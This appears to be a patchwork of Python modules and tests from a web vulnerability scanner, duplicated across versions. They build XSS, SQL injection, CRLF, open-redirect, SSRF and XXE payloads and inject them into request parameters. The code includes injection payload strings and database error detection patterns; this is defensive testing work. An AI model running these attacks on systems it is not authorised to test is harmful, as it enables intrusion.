def apply_tagname_context(context, payloads, code): # we control the tag name # ex: <our_string name="column" /> result = [] if context["value"].startswith(code): for payload_infos in payloads: if not payload_infos["close_tag"]: # do new stuff pass else: js_code = "" if context["non_exec_parent"]: js_code += "</" + context["non_exec_parent"] + ">" js_code += payload_infos["payload"].replace("__XSS__", code) js_code = js_code[1:] # use independent payloads, just remove the first character (<) result.append((js_code, Flags(type=PayloadType.xss_closing_tag, section=payload_infos["name"]))) else: for payload_infos in payloads: if not payload_infos["close_tag"]: # do new stuff pass else: js_code = "/>" if context["non_exec_parent"]: js_code += "</" + context["non_exec_parent"] + ">" js_code += payload_infos["payload"].replace("__XSS__", code) result.append((js_code, Flags(type=PayloadType.xss_closing_tag, section=payload_infos["name"]))) return result
def generate_boolean_test_values(separator: str, parenthesis: bool): fmt_string = ( "[VALUE]{sep} AND {left_value}={right_value} AND {sep}{padding_value}{sep}={sep}{padding_value}", "[VALUE]{sep}) AND {left_value}={right_value} AND ({sep}{padding_value}{sep}={sep}{padding_value}" )[parenthesis] # Generate two couple of payloads, first couple to test, second one to check for false-positives for __ in range(2): value1 = randint(10, 99) value2 = randint(10, 99) + value1 padding_value = randint(10, 99) # First payload of the couple gives negative test # Due to Mutator limitations we leverage some Flags attributes to put our indicators yield (fmt_string.format(left_value=value1, right_value=value2, padding_value=padding_value, sep=separator), Flags(section="False", platform="{}_{}".format("p" if parenthesis else "", separator))) # Second payload of the couple gives positive test yield (fmt_string.format(left_value=value1, right_value=value1, padding_value=padding_value, sep=separator), Flags(section="True", platform="{}_{}".format("p" if parenthesis else "", separator)))
def generate_boolean_test_values(separator: str, parenthesis: bool): fmt_string = ( "[VALUE]{sep} AND {left_value}={right_value} AND {sep}{padding_value}{sep}={sep}{padding_value}", "[VALUE]{sep}) AND {left_value}={right_value} AND ({sep}{padding_value}{sep}={sep}{padding_value}" )[parenthesis] for __ in range(2): value1 = randint(10, 99) value2 = randint(10, 99) + value1 padding_value = randint(10, 99) # First two payloads give negative tests # Due to Mutator limitations we leverage some Flags attributes to put our indicators yield ( fmt_string.format(left_value=value1, right_value=value2, padding_value=padding_value, sep=separator), Flags(section="False", platform=f"{'p' if parenthesis else ''}_{separator}") ) for __ in range(2): value1 = randint(10, 99) padding_value = randint(10, 99) # Last two payloads give positive tests yield ( fmt_string.format(left_value=value1, right_value=value1, padding_value=padding_value, sep=separator), Flags(section="True", platform=f"{'p' if parenthesis else ''}_{separator}") )
def apply_attrval_context(context, payloads, code): # Our string is in the value of a tag attribute # ex: <a href="our_string"></a> result = [] for payload_infos in payloads: if not payload_infos["close_tag"]: # Payload keeping the tag open if context["tag"] in payload_infos["tag"] and payload_infos["attribute"] not in context["events"]: if not context["separator"]: attr_separator = " " value_separator = "" else: attr_separator = value_separator = context["separator"] if payload_infos["tag"] == ["frame"] and payload_infos["attribute"] == "src": # This is a special case... Maybe we should improve that kind of behavior by having something # similar to the match_type (from xssPayloads.ini) in the context js_code = payload_infos["payload"].replace("__XSS__", code) else: try: js_code = "y" # Not empty value to force non-fuzzy HTML interpretation js_code += meet_requirements( payload_infos.get("requirements", []), context.get("special_attributes", []) ) js_code += payload_infos["payload"].replace("__XSS__", code) js_code = js_code.replace("[ATTR_SEP]", attr_separator) js_code = js_code.replace("[VALUE_SEP]", value_separator) except RuntimeError: continue result.append( (js_code, Flags(payload_type=PayloadType.xss_non_closing_tag, section=payload_infos["name"])) ) else: js_code = context["separator"] # we must deal differently with self-closing tags # see https://developer.mozilla.org/en-US/docs/Glossary/empty_element for reference if context["tag"].lower() in [ "area", "base", "br", "col", "embed", "hr", "img", "input", "keygen", "link", "meta", "param", "source", "track", "wbr", "frame" # Not in Mozilla list but I guess it is because it is deprecated ]: # We don't even need a slash to mark the end of the tag js_code += ">" else: js_code += "></" + context["tag"] + ">" if context["non_exec_parent"] == "frameset": if payload_infos["tag"] != ["frame"]: continue elif context["non_exec_parent"]: js_code += "</" + context["non_exec_parent"] + ">" js_code += payload_infos["payload"].replace("__XSS__", code) result.append((js_code, Flags(payload_type=PayloadType.xss_closing_tag, section=payload_infos["name"]))) return result
def apply_comment_context(context, payloads, code): # Injection occurred in a comment tag # ex: <!-- <div> whatever our_string blablah </div> --> result = [] prefix = "-->" if context["parent"] in ["script", "title", "textarea"]: # we can't execute javascript under title or textarea tags and it's too hard to be sure our payload # will be executed if we have partial control over a script tag content, so let's escape them if context["non_exec_parent"] != "": prefix += "</" + context["non_exec_parent"] + ">" else: prefix += "</{0}>".format(context["parent"]) for payload_infos in payloads: if not payload_infos["close_tag"]: # do new stuff pass else: js_code = prefix + payload_infos["payload"].replace( "__XSS__", code) result.append((js_code, Flags(type=PayloadType.xss_closing_tag, section=payload_infos["name"]))) return result
def apply_text_context(context, payloads, code): # we control the text of the tag # ex: <textarea>our_string</textarea> result = [] prefix = "" if context["parent"] in ["script", "title", "textarea", "style"]: # we can't execute javascript under title or textarea tags and it's too hard to be sure our payload # will be executed if we have partial control over a script tag content, so let's escape them if context["non_exec_parent"] != "": prefix = "</" + context["non_exec_parent"] + ">" else: prefix = f"</{context['parent']}>" for payload_infos in payloads: if not payload_infos["close_tag"]: # do new stuff pass else: js_code = prefix + payload_infos["payload"].replace( "__XSS__", code) result.append((js_code, Flags(payload_type=PayloadType.xss_closing_tag, section=payload_infos["name"]))) return result
def test_missing_value(): req2 = Request("http://perdu.com/directory/?high=tone", ) # Filename of the target URL should be injected but it is missing here, we should not raise a mutation mutator = Mutator(payloads=[("[FILE_NAME]::$DATA", Flags())]) count = 0 for __ in mutator.mutate(req2): count += 1 assert count == 0
def random_string(): """Create a random unique ID that will be used to test injection.""" # doesn't uppercase letters as BeautifulSoup make some data lowercase code = "w" + "".join([ random.choice("0123456789abcdefghjijklmnopqrstuvwxyz") for __ in range(0, 9) ]) return code, Flags()
async def test_whole_stuff(): # Test attacking all kind of parameter without crashing respx.get("http://perdu.com/").mock( return_value=httpx.Response(200, text="Default page")) respx.get("http://perdu.com/admin").mock(return_value=httpx.Response( 301, text="Hello there", headers={"Location": "/admin/"})) respx.get("http://perdu.com/admin/").mock( return_value=httpx.Response(200, text="Hello there")) respx.get("http://perdu.com/config.inc").mock( return_value=httpx.Response(200, text="pass = 123456")) respx.get("http://perdu.com/admin/authconfig.php").mock( return_value=httpx.Response(200, text="Hello there")) respx.get(url__regex=r"http://perdu\.com/.*").mock( return_value=httpx.Response(404)) persister = Mock() request = Request("http://perdu.com/") request.path_id = 1 request.set_headers({"content-type": "text/html"}) # Buster module will get requests from the persister persister.get_links.return_value = AsyncIterator([request]) crawler = AsyncCrawler("http://perdu.com/", timeout=1) options = {"timeout": 10, "level": 2} logger = Mock() with patch("wapitiCore.attack.mod_buster.mod_buster.payloads", [("nawak", Flags()), ("admin", Flags()), ("config.inc", Flags()), ("authconfig.php", Flags())]): module = mod_buster(crawler, persister, logger, options, Event()) module.verbose = 2 module.do_get = True await module.attack(request) assert module.known_dirs == [ "http://perdu.com/", "http://perdu.com/admin/" ] assert module.known_pages == [ "http://perdu.com/config.inc", "http://perdu.com/admin/authconfig.php" ] await crawler.close()
class mod_redirect(Attack): """This class implements an open-redirect attack""" # Won't work with PHP >= 4.4.2 name = "redirect" MSG_VULN = _("Open Redirect") do_get = True do_post = False payloads = ("https://openbugbounty.org/", Flags()) def attack(self): mutator = self.get_mutator() http_resources = self.persister.get_links( attack_module=self.name) if self.do_get else [] for http_res in http_resources: page = http_res.path for mutated_request, parameter, payload, flags in mutator.mutate( http_res): try: if self.verbose == 2: print("+ {0}".format(mutated_request.url)) response = self.crawler.send(mutated_request) if any([ url.startswith("https://openbugbounty.org/") for url in response.all_redirections ]): self.add_vuln( request_id=http_res.path_id, category=Vulnerability.REDIRECT, level=Vulnerability.MEDIUM_LEVEL, request=mutated_request, parameter=parameter, info=_("{0} via injection in the parameter {1}" ).format(self.MSG_VULN, parameter)) if parameter == "QUERY_STRING": injection_msg = Vulnerability.MSG_QS_INJECT else: injection_msg = Vulnerability.MSG_PARAM_INJECT self.log_red("---") self.log_red(injection_msg, self.MSG_VULN, page, parameter) self.log_red(Vulnerability.MSG_EVIL_REQUEST) self.log_red(mutated_request.http_repr()) self.log_red("---") except (RequestException, KeyboardInterrupt) as exception: yield exception yield http_res
class mod_redirect(Attack): """Detect Open Redirect vulnerabilities.""" # Won't work with PHP >= 4.4.2 name = "redirect" MSG_VULN = _("Open Redirect") do_get = True do_post = False payloads = ("https://openbugbounty.org/", Flags()) def __init__(self, crawler, persister, attack_options, stop_event): super().__init__(crawler, persister, attack_options, stop_event) self.mutator = self.get_mutator() async def attack(self, request: Request): page = request.path for mutated_request, parameter, __, __ in self.mutator.mutate(request): if self.verbose == 2: logging.info("[¨] {0}".format(mutated_request.url)) try: response = await self.crawler.async_send(mutated_request) except RequestError: self.network_errors += 1 continue if any([url.startswith("https://openbugbounty.org/") for url in response.all_redirections]): await self.add_vuln_low( request_id=request.path_id, category=NAME, request=mutated_request, parameter=parameter, info=_("{0} via injection in the parameter {1}").format(self.MSG_VULN, parameter) ) if parameter == "QUERY_STRING": injection_msg = Messages.MSG_QS_INJECT else: injection_msg = Messages.MSG_PARAM_INJECT self.log_red("---") self.log_red( injection_msg, self.MSG_VULN, page, parameter ) self.log_red(Messages.MSG_EVIL_REQUEST) self.log_red(mutated_request.http_repr()) self.log_red("---")
def apply_attrname_context(context, payloads, code): # we control an attribute name # ex: <a our_string="/index.html"> result = [] if code == context["name"]: for payload_infos in payloads: if not payload_infos["close_tag"]: # do new stuff pass else: js_code = '>' if context["non_exec_parent"]: js_code += "</" + context["non_exec_parent"] + ">" js_code += payload_infos["payload"].replace("__XSS__", code) result.append((js_code, Flags(type=PayloadType.xss_closing_tag, section=payload_infos["name"]))) return result
class mod_sql(Attack): """ This class implements an error-based SQL Injection attack """ time_to_sleep = 6 name = "sql" payloads = ("\xBF'\"(", Flags()) filename_payload = "'\"(" # TODO: wait for https://github.com/shazow/urllib3/pull/856 then use that for files upld @staticmethod def _find_pattern_in_response(data): if "You have an error in your SQL syntax" in data: return _("MySQL Injection") if "supplied argument is not a valid MySQL" in data: return _("MySQL Injection") if "Warning: mysql_fetch_array()" in data: return _("MySQL Injection") if "mysqli_fetch_assoc() expects parameter 1 to be" in data: return _("MySQL Injection") if "com.mysql.jdbc.exceptions" in data: return _("MySQL Injection") if "MySqlException (0x" in data: return _("MySQL Injection") if ("[Microsoft][ODBC Microsoft Access Driver]" in data or "Syntax error in string in query expression " in data): return _("MSAccess-Based SQL Injection") if "[Microsoft][ODBC SQL Server Driver]" in data: return _("MSSQL-Based Injection") if 'Microsoft OLE DB Provider for ODBC Drivers</font> <font size="2" face="Arial">error' in data: return _("MSSQL-Based Injection") if "Microsoft OLE DB Provider for ODBC Drivers" in data: return _("MSSQL-Based Injection") if "java.sql.SQLException: Syntax error or access violation" in data: return _("Java.SQL Injection") if "java.sql.SQLException: Unexpected end of command" in data: return _("Java.SQL Injection") if "PostgreSQL query failed: ERROR: parser:" in data: return _("PostgreSQL Injection") if "Warning: pg_query()" in data: return _("PostgreSQL Injection") if "XPathException" in data: return _("XPath Injection") if "Warning: SimpleXMLElement::xpath():" in data: return _("XPath Injection") if "supplied argument is not a valid ldap" in data or "javax.naming.NameNotFoundException" in data: return _("LDAP Injection") if "DB2 SQL error:" in data: return _("DB2 Injection") if "Dynamic SQL Error" in data: return _("Interbase Injection") if "Sybase message:" in data: return _("Sybase Injection") if "Unclosed quotation mark after the character string" in data: return _(".NET SQL Injection") if "error '80040e14'" in data and "Incorrect syntax near" in data: return _("MSSQL-Based Injection") if "StatementCallback; bad SQL grammar" in data: return _("Spring JDBC Injection") ora_test = re.search(r"ORA-[0-9]{4,}", data) if ora_test is not None: return _("Oracle Injection") + " " + ora_test.group(0) return "" def is_false_positive(self, request): try: response = self.crawler.send(request) except RequestException: pass else: if self._find_pattern_in_response(response.content): return True return False def set_timeout(self, timeout): self.time_to_sleep = str(1 + int(timeout)) def attack(self): mutator = self.get_mutator() http_resources = self.persister.get_links( attack_module=self.name) if self.do_get else [] forms = self.persister.get_forms( attack_module=self.name) if self.do_post else [] for original_request in chain(http_resources, forms): if self.verbose >= 1: print("[+] {}".format(original_request)) timeouted = False page = original_request.path saw_internal_error = False current_parameter = None vulnerable_parameter = False for mutated_request, parameter, payload, flags in mutator.mutate( original_request): try: if current_parameter != parameter: # Forget what we know about current parameter current_parameter = parameter vulnerable_parameter = False elif vulnerable_parameter: # If parameter is vulnerable, just skip till next parameter continue if self.verbose == 2: print("[¨] {0}".format(mutated_request)) try: response = self.crawler.send(mutated_request) except ReadTimeout: if timeouted: continue self.log_orange("---") self.log_orange(Anomaly.MSG_TIMEOUT, page) self.log_orange(Anomaly.MSG_EVIL_REQUEST) self.log_orange(mutated_request.http_repr()) self.log_orange("---") if parameter == "QUERY_STRING": anom_msg = Anomaly.MSG_QS_TIMEOUT else: anom_msg = Anomaly.MSG_PARAM_TIMEOUT.format( parameter) self.add_anom(request_id=original_request.path_id, category=Anomaly.RES_CONSUMPTION, level=Anomaly.MEDIUM_LEVEL, request=mutated_request, info=anom_msg, parameter=parameter) timeouted = True else: vuln_info = self._find_pattern_in_response( response.content) if vuln_info and not self.is_false_positive( original_request): # An error message implies that a vulnerability may exists if parameter == "QUERY_STRING": vuln_message = Vulnerability.MSG_QS_INJECT.format( vuln_info, page) else: vuln_message = _( "{0} via injection in the parameter {1}" ).format(vuln_info, parameter) self.add_vuln(request_id=original_request.path_id, category=Vulnerability.SQL_INJECTION, level=Vulnerability.HIGH_LEVEL, request=mutated_request, info=vuln_message, parameter=parameter) self.log_red("---") self.log_red( Vulnerability.MSG_QS_INJECT if parameter == "QUERY_STRING" else Vulnerability.MSG_PARAM_INJECT, vuln_info, page, parameter) self.log_red(Vulnerability.MSG_EVIL_REQUEST) self.log_red(mutated_request.http_repr()) self.log_red("---") # We reached maximum exploitation for this parameter, don't send more payloads vulnerable_parameter = True continue elif response.status == 500 and not saw_internal_error: saw_internal_error = True if parameter == "QUERY_STRING": anom_msg = Anomaly.MSG_QS_500 else: anom_msg = Anomaly.MSG_PARAM_500.format( parameter) self.add_anom(request_id=original_request.path_id, category=Anomaly.ERROR_500, level=Anomaly.HIGH_LEVEL, request=mutated_request, info=anom_msg, parameter=parameter) self.log_orange("---") self.log_orange(Anomaly.MSG_500, page) self.log_orange(Anomaly.MSG_EVIL_REQUEST) self.log_orange(mutated_request.http_repr()) self.log_orange("---") except (KeyboardInterrupt, RequestException) as exception: yield exception yield original_request
def test_whole_stuff(): # Test attacking all kind of parameter without crashing responses.add( responses.GET, url="http://perdu.com/", body="Default page" ) responses.add( responses.GET, url="http://perdu.com/admin", body="Hello there", headers={"Location": "/admin/"}, status=301 ) responses.add( responses.GET, url="http://perdu.com/admin/", body="Hello there" ) responses.add( responses.GET, url="http://perdu.com/config.inc", body="pass = 123456" ) responses.add( responses.GET, url="http://perdu.com/admin/authconfig.php", body="Hello there" ) responses.add( responses.GET, url=re.compile(r"http://perdu.com/.*"), status=404 ) persister = FakePersister() request = Request("http://perdu.com/") request.path_id = 1 request.set_headers({"content-type": "text/html"}) persister.requests.append(request) crawler = Crawler("http://perdu.com/", timeout=1) options = {"timeout": 10, "level": 2} logger = Mock() with patch( "wapitiCore.attack.mod_buster.mod_buster.payloads", [("nawak", Flags()), ("admin", Flags()), ("config.inc", Flags()), ("authconfig.php", Flags())] ): module = mod_buster(crawler, persister, logger, options) module.verbose = 2 module.do_get = True for __ in module.attack(): pass assert module.known_dirs == ["http://perdu.com/", "http://perdu.com/admin/"] assert module.known_pages == ["http://perdu.com/config.inc", "http://perdu.com/admin/authconfig.php"]
def mutate(self, request: Request): get_params = request.get_params post_params = request.post_params file_params = request.file_params referer = request.referer # estimation = self.estimate_requests_count(request) # # if self._attacks_per_url_pattern[request.hash_params] + estimation > self._max_queries_per_pattern: # # Otherwise (pattern already attacked), make sure we don't exceed maximum allowed # return # # self._attacks_per_url_pattern[request.hash_params] += estimation for params_list in [get_params, post_params, file_params]: for i, __ in enumerate(params_list): param_name = quote(params_list[i][0]) if self._skip_list and param_name in self._skip_list: continue if self._parameters and param_name not in self._parameters: continue saved_value = params_list[i][1] if saved_value is None: saved_value = "" if params_list is file_params: params_list[i][1] = ("__PAYLOAD__", saved_value[1], saved_value[2]) else: params_list[i][1] = "__PAYLOAD__" attack_pattern = Request( request.path, method=request.method, get_params=get_params, post_params=post_params, file_params=file_params ) if hash(attack_pattern) not in self._attack_hashes: self._attack_hashes.add(hash(attack_pattern)) payload = SSRF_PAYLOAD.format( external_endpoint=self._endpoint, random_id=self._session_id, path_id=request.path_id, hex_param=hexlify(param_name.encode("utf-8", errors="replace")).decode() ) if params_list is file_params: params_list[i][1] = (payload, saved_value[1], saved_value[2]) method = PayloadType.file else: params_list[i][1] = payload if params_list is get_params: method = PayloadType.get else: method = PayloadType.post evil_req = Request( request.path, method=request.method, get_params=get_params, post_params=post_params, file_params=file_params, referer=referer, link_depth=request.link_depth ) yield evil_req, param_name, payload, Flags(method=method) params_list[i][1] = saved_value if not get_params and request.method == "GET" and self._qs_inject: attack_pattern = Request( f"{request.path}?__PAYLOAD__", method=request.method, referer=referer, link_depth=request.link_depth ) if hash(attack_pattern) not in self._attack_hashes: self._attack_hashes.add(hash(attack_pattern)) payload = SSRF_PAYLOAD.format( external_endpoint=self._endpoint, random_id=self._session_id, path_id=request.path_id, hex_param=hexlify(b"QUERY_STRING").decode() ) evil_req = Request( f"{request.path}?{quote(payload)}", method=request.method, referer=referer, link_depth=request.link_depth ) yield evil_req, "QUERY_STRING", payload, Flags(method=PayloadType.get)
async def finish(self): endpoint_url = f"{self.internal_endpoint}get_ssrf.php?session_id={self._session_id}" logging.info(_("[*] Asking endpoint URL {} for results, please wait...").format(endpoint_url)) await sleep(2) # A la fin des attaques on questionne le endpoint pour savoir s'il a été contacté endpoint_request = Request(endpoint_url) try: response = await self.crawler.async_send(endpoint_request) except RequestError: self.network_errors += 1 logging.error(_("[!] Unable to request endpoint URL '{}'").format(self.internal_endpoint)) else: data = response.json if isinstance(data, dict): for request_id in data: original_request = await self.persister.get_path_by_id(request_id) if original_request is None: raise ValueError("Could not find the original request with that ID") page = original_request.path for hex_param in data[request_id]: parameter = unhexlify(hex_param).decode("utf-8") for infos in data[request_id][hex_param]: request_url = infos["url"] # Date in ISO format request_date = infos["date"] request_ip = infos["ip"] request_method = infos["method"] # request_size = infos["size"] if parameter == "QUERY_STRING": vuln_message = Messages.MSG_QS_INJECT.format(self.MSG_VULN, page) else: vuln_message = _( "{0} via injection in the parameter {1}.\n" "The target performed an outgoing HTTP {2} request at {3} with IP {4}.\n" "Full request can be seen at {5}" ).format( self.MSG_VULN, parameter, request_method, request_date, request_ip, request_url ) mutator = Mutator( methods="G" if original_request.method == "GET" else "PF", payloads=[("http://external.url/page", Flags())], qs_inject=self.must_attack_query_string, parameters=[parameter], skip=self.options.get("skipped_parameters") ) mutated_request, __, __, __ = next(mutator.mutate(original_request)) await self.add_vuln_critical( request_id=original_request.path_id, category=NAME, request=mutated_request, info=vuln_message, parameter=parameter, wstg=WSTG_CODE ) log_red("---") log_red( Messages.MSG_QS_INJECT if parameter == "QUERY_STRING" else Messages.MSG_PARAM_INJECT, self.MSG_VULN, page, parameter ) log_red(Messages.MSG_EVIL_REQUEST) log_red(mutated_request.http_repr()) log_red("---")
def finish(self): endpoint_url = "{}get_xxe.php?session_id={}".format( self.internal_endpoint, self._session_id) print( _("[*] Asking endpoint URL {} for results, please wait...").format( endpoint_url)) sleep(2) # A la fin des attaques on questionne le endpoint pour savoir s'il a été contacté endpoint_request = Request(endpoint_url) try: response = self.crawler.send(endpoint_request) except RequestException: self.network_errors += 1 print( _("[!] Unable to request endpoint URL '{}'").format( self.internal_endpoint)) return data = response.json if not isinstance(data, dict): return for request_id in data: original_request = self.persister.get_path_by_id(request_id) if original_request is None: continue # raise ValueError("Could not find the original request with ID {}".format(request_id)) page = original_request.path for hex_param in data[request_id]: parameter = unhexlify(hex_param).decode("utf-8") for infos in data[request_id][hex_param]: request_url = infos["url"] # Date in ISO format request_date = infos["date"] request_ip = infos["ip"] request_size = infos["size"] payload_name = infos["payload"] if parameter == "QUERY_STRING": vuln_message = Messages.MSG_QS_INJECT.format( self.MSG_VULN, page) elif parameter == "raw body": vuln_message = _( "Out-Of-Band {0} by sending raw XML in request body" ).format(self.MSG_VULN) else: vuln_message = _( "Out-Of-Band {0} via injection in the parameter {1}" ).format(self.MSG_VULN, parameter) more_infos = _( "The target sent {0} bytes of data to the endpoint at {1} with IP {2}.\n" "Received data can be seen at {3}.").format( request_size, request_date, request_ip, request_url) vuln_message += "\n" + more_infos # placeholder if shit happens payload = ( "<xml>" "See https://phonexicum.github.io/infosec/xxe.html#attack-vectors" "</xml>") for payload, flags in self.payloads: if "{}.dtd".format(payload_name) in payload: payload = payload.replace( "[PATH_ID]", str(original_request.path_id)) payload = payload.replace("[PARAM_AS_HEX]", "72617720626f6479") break if parameter == "raw body": mutated_request = Request(original_request.path, method="POST", enctype="text/xml", post_params=payload) elif parameter == "QUERY_STRING": mutated_request = Request("{}?{}".format( original_request.path, quote(payload)), method="GET") elif parameter in original_request.get_keys or parameter in original_request.post_keys: mutator = Mutator( methods="G" if original_request.method == "GET" else "P", payloads=[(payload, Flags())], qs_inject=self.must_attack_query_string, parameters=[parameter], skip=self.options.get("skipped_parameters")) mutated_request, __, __, __ = next( mutator.mutate(original_request)) else: mutator = FileMutator( payloads=[(payload, Flags())], parameters=[parameter], skip=self.options.get("skipped_parameters")) mutated_request, __, __, __ = next( mutator.mutate(original_request)) self.add_vuln(request_id=original_request.path_id, category=NAME, level=HIGH_LEVEL, request=mutated_request, info=vuln_message, parameter=parameter) self.log_red("---") self.log_red(vuln_message) self.log_red(Messages.MSG_EVIL_REQUEST) self.log_red(mutated_request.http_repr()) self.log_red("---")
class ModuleCrlf(Attack): """Detect Carriage Return Line Feed (CRLF) injection vulnerabilities.""" # Won't work with PHP >= 4.4.2 name = "crlf" MSG_VULN = _("CRLF Injection") do_get = True do_post = True payloads = (quote("http://www.google.fr\r\nwapiti: 3.1.1 version"), Flags()) def __init__(self, crawler, persister, attack_options, stop_event): super().__init__(crawler, persister, attack_options, stop_event) self.mutator = self.get_mutator() async def attack(self, request: Request): page = request.path for mutated_request, parameter, _payload, _flags in self.mutator.mutate( request): log_verbose(f"[¨] {mutated_request.url}") try: response = await self.crawler.async_send(mutated_request) except ReadTimeout: self.network_errors += 1 await self.add_anom_medium(request_id=request.path_id, category=Messages.RES_CONSUMPTION, request=mutated_request, parameter=parameter, info="Timeout (" + parameter + ")", wstg=RESOURCE_CONSUMPTION_WSTG_CODE) log_orange("---") log_orange(Messages.MSG_TIMEOUT, page) log_orange(Messages.MSG_EVIL_REQUEST) log_orange(mutated_request.http_repr()) log_orange("---") except HTTPStatusError: self.network_errors += 1 logging.error( _("Error: The server did not understand this request")) except RequestError: self.network_errors += 1 else: if "wapiti" in response.headers: await self.add_vuln_low( request_id=request.path_id, category=NAME, request=mutated_request, parameter=parameter, info=_( "{0} via injection in the parameter {1}").format( self.MSG_VULN, parameter), wstg=WSTG_CODE) if parameter == "QUERY_STRING": injection_msg = Messages.MSG_QS_INJECT else: injection_msg = Messages.MSG_PARAM_INJECT log_red("---") log_red(injection_msg, self.MSG_VULN, page, parameter) log_red(Messages.MSG_EVIL_REQUEST) log_red(mutated_request.http_repr()) log_red("---")
def test_mutations(): req = Request( "http://perdu.com/page.php", method="POST", get_params=[["p", "login.php"]], post_params=[["user", "admin"], ["password", "letmein"]], file_params=[["file", ("pix.gif", b"GIF89a", "image/gif")]] ) mutator = Mutator(payloads=[("INJECT", Flags())]) count = 0 for __ in mutator.mutate(req): count += 1 assert count == 4 mutator = Mutator(payloads=[("PAYLOAD_1", Flags()), ("PAYLOAD_2", Flags()), ("PAYLOAD_3", Flags())]) count = 0 for __ in mutator.mutate(req): count += 1 assert count == 12 mutator = Mutator(methods="G", payloads=[("PAYLOAD_1", Flags()), ("PAYLOAD_2", Flags()), ("PAYLOAD_3", Flags())]) count = 0 for __ in mutator.mutate(req): count += 1 assert count == 3 mutator = Mutator(methods="P", payloads=[("PAYLOAD_1", Flags()), ("PAYLOAD_2", Flags()), ("PAYLOAD_3", Flags())]) count = 0 for __ in mutator.mutate(req): count += 1 assert count == 6 mutator = Mutator(methods="PF", payloads=[("PAYLOAD_1", Flags()), ("PAYLOAD_2", Flags()), ("PAYLOAD_3", Flags())]) count = 0 for __ in mutator.mutate(req): count += 1 assert count == 9 mutator = Mutator( payloads=[("PAYLOAD_1", Flags()), ("PAYLOAD_2", Flags()), ("PAYLOAD_3", Flags())], parameters=["user", "file"] ) count = 0 for __ in mutator.mutate(req): count += 1 assert count == 6 mutator = Mutator( payloads=[("PAYLOAD_1", Flags()), ("PAYLOAD_2", Flags()), ("PAYLOAD_3", Flags())], skip={"p"} ) count = 0 for __, __, __, __ in mutator.mutate(req): count += 1 assert count == 9 # JSESSIONID is marked as annoying parameter req2 = Request( "http://perdu.com/page.php", method="POST", get_params=[["JSESSIONID", "deadbeef"]], post_params=[["user", "admin"], ["password", "letmein"]], file_params=[["file", ("pix.gif", b"GIF89a", "image/gif")]] ) mutator = Mutator(payloads=[("INJECT", Flags())]) count = 0 for __ in mutator.mutate(req2): count += 1 assert count == 3 # Inject into query string. Will only work if method is GET without any parameter req3 = Request("http://perdu.com/page.php") mutator = Mutator(payloads=[("PAYLOAD_1", Flags()), ("PAYLOAD_2", Flags())], qs_inject=True) count = 0 for __, __, __, __ in mutator.mutate(req3): count += 1 assert count == 2
class mod_crlf(Attack): """Detect Carriage Return Line Feed (CRLF) injection vulnerabilities.""" # Won't work with PHP >= 4.4.2 name = "crlf" MSG_VULN = _("CRLF Injection") do_get = True do_post = True payloads = (quote("http://www.google.fr\r\nwapiti: 3.0.4 version"), Flags()) def __init__(self, crawler, persister, logger, attack_options): super().__init__(crawler, persister, logger, attack_options) self.mutator = self.get_mutator() def attack(self, request: Request): page = request.path for mutated_request, parameter, payload, flags in self.mutator.mutate(request): if self.verbose == 2: print("[¨] {0}".format(mutated_request.url)) try: response = self.crawler.send(mutated_request) except ReadTimeout: self.network_errors += 1 self.add_anom( request_id=request.path_id, category=Messages.RES_CONSUMPTION, level=MEDIUM_LEVEL, request=mutated_request, parameter=parameter, info="Timeout (" + parameter + ")" ) self.log_orange("---") self.log_orange(Messages.MSG_TIMEOUT, page) self.log_orange(Messages.MSG_EVIL_REQUEST) self.log_orange(mutated_request.http_repr()) self.log_orange("---") except HTTPError: self.network_errors += 1 self.log(_("Error: The server did not understand this request")) except RequestException: self.network_errors += 1 else: if "wapiti" in response.headers: self.add_vuln( request_id=request.path_id, category=NAME, level=LOW_LEVEL, request=mutated_request, parameter=parameter, info=_("{0} via injection in the parameter {1}").format(self.MSG_VULN, parameter) ) if parameter == "QUERY_STRING": injection_msg = Messages.MSG_QS_INJECT else: injection_msg = Messages.MSG_PARAM_INJECT self.log_red("---") self.log_red( injection_msg, self.MSG_VULN, page, parameter ) self.log_red(Messages.MSG_EVIL_REQUEST) self.log_red(mutated_request.http_repr()) self.log_red("---")
class mod_sql(Attack): """ Detect SQL (but also LDAP and XPath) injection vulnerabilities by triggering errors (error-based technique). """ time_to_sleep = 6 name = "sql" payloads = ("[VALUE]\xBF'\"(", Flags()) filename_payload = "'\"(" # TODO: wait for https://github.com/shazow/urllib3/pull/856 then use that for files upld @staticmethod def _find_pattern_in_response(data): for dbms, regex_list in DBMS_ERROR_PATTERNS.items(): for regex in regex_list: if regex.search(data): return _("SQL Injection") + " (DMBS: {})".format(dbms) # Can't guess the DBMS but may be useful if "Unclosed quotation mark after the character string" in data: return _(".NET SQL Injection") if "StatementCallback; bad SQL grammar" in data: return _("Spring JDBC Injection") if "XPathException" in data: return _("XPath Injection") if "Warning: SimpleXMLElement::xpath():" in data: return _("XPath Injection") if "supplied argument is not a valid ldap" in data or "javax.naming.NameNotFoundException" in data: return _("LDAP Injection") return "" def is_false_positive(self, request): try: response = self.crawler.send(request) except RequestException: pass else: if self._find_pattern_in_response(response.content): return True return False def set_timeout(self, timeout): self.time_to_sleep = str(1 + int(timeout)) def attack(self): mutator = self.get_mutator() http_resources = self.persister.get_links( attack_module=self.name) if self.do_get else [] forms = self.persister.get_forms( attack_module=self.name) if self.do_post else [] for original_request in chain(http_resources, forms): if self.verbose >= 1: print("[+] {}".format(original_request)) timeouted = False page = original_request.path saw_internal_error = False current_parameter = None vulnerable_parameter = False for mutated_request, parameter, payload, flags in mutator.mutate( original_request): try: if current_parameter != parameter: # Forget what we know about current parameter current_parameter = parameter vulnerable_parameter = False elif vulnerable_parameter: # If parameter is vulnerable, just skip till next parameter continue if self.verbose == 2: print("[¨] {0}".format(mutated_request)) try: response = self.crawler.send(mutated_request) except ReadTimeout: if timeouted: continue self.log_orange("---") self.log_orange(Messages.MSG_TIMEOUT, page) self.log_orange(Messages.MSG_EVIL_REQUEST) self.log_orange(mutated_request.http_repr()) self.log_orange("---") if parameter == "QUERY_STRING": anom_msg = Messages.MSG_QS_TIMEOUT else: anom_msg = Messages.MSG_PARAM_TIMEOUT.format( parameter) self.add_anom(request_id=original_request.path_id, category=Messages.RES_CONSUMPTION, level=MEDIUM_LEVEL, request=mutated_request, info=anom_msg, parameter=parameter) timeouted = True else: vuln_info = self._find_pattern_in_response( response.content) if vuln_info and not self.is_false_positive( original_request): # An error message implies that a vulnerability may exists if parameter == "QUERY_STRING": vuln_message = Messages.MSG_QS_INJECT.format( vuln_info, page) else: vuln_message = _( "{0} via injection in the parameter {1}" ).format(vuln_info, parameter) self.add_vuln(request_id=original_request.path_id, category=NAME, 